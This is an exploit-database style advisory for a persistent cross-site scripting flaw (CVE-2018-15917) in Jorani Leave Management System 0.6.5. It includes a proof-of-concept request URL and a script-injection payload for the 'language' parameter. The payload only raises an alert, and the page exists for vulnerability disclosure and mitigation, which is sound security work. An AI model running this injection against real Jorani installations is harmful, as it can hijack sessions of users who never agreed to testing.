Jorani Leave Management System 0.6.5 – Cross-Site Scripting

vendor:

Jorani

by:

Javier Olmedo

5.4

CVSS

MEDIUM

Cross-Site Scripting

CWE

Product Name: Jorani

Affected Version From: 0.6.5

Affected Version To: 0.6.5

Patch Exists: NO

Related CWE: CVE-2018-15917

CPE: a:bbalet:jorani:0.6.5

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows, Linux

2018

Jorani Leave Management System 0.6.5 – Cross-Site Scripting

Language parameter is vulnerable to Persistent Cross-Site Scripting (XSS) attacks through a GET request in which the values are stored in the user session.

Mitigation:

Input validation and output encoding should be used to prevent XSS attacks.

Source

Exploit-DB raw data:

# Exploit Title: Jorani Leave Management System 0.6.5 – Cross-Site Scripting
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-09-06
# Google Dork: N/A
# Vendor: Benjamin BALET
# Software Link: https://jorani.org/download.html
# Affected Version: 0.6.5 and possibly before
# Patched Version: unpatched
# Category: Web Application
# Platform: Windows
# Tested on: Win10x64 & Kali Linux
# CVE: 2018-15917
  
# 1. Technical Description:
# Language parameter is vulnerable to Persistent Cross-Site Scripting (XSS) attacks through
# a GET request in which the values are stored in the user session.
  
# 2. Proof Of Concept (PoC):
# Go to http://localhost/session/language?last_page=session%2Flogin&language=en%22%3E%3Cscript%3Ealert(%27PoC%20CVE-2018-15917%27)%3C%2Fscript%3E&login=&CipheredValue=
 
# 3. Payload:
# en"><script>alert('PoC CVE-2018-15917')</script>

# 6. Reference:
# https://hackpuntes.com/cve-2018-15917-jorani-leave-management-system-0-6-5-cross-site-scripting-persistente/
# https://github.com/bbalet/jorani/issues/254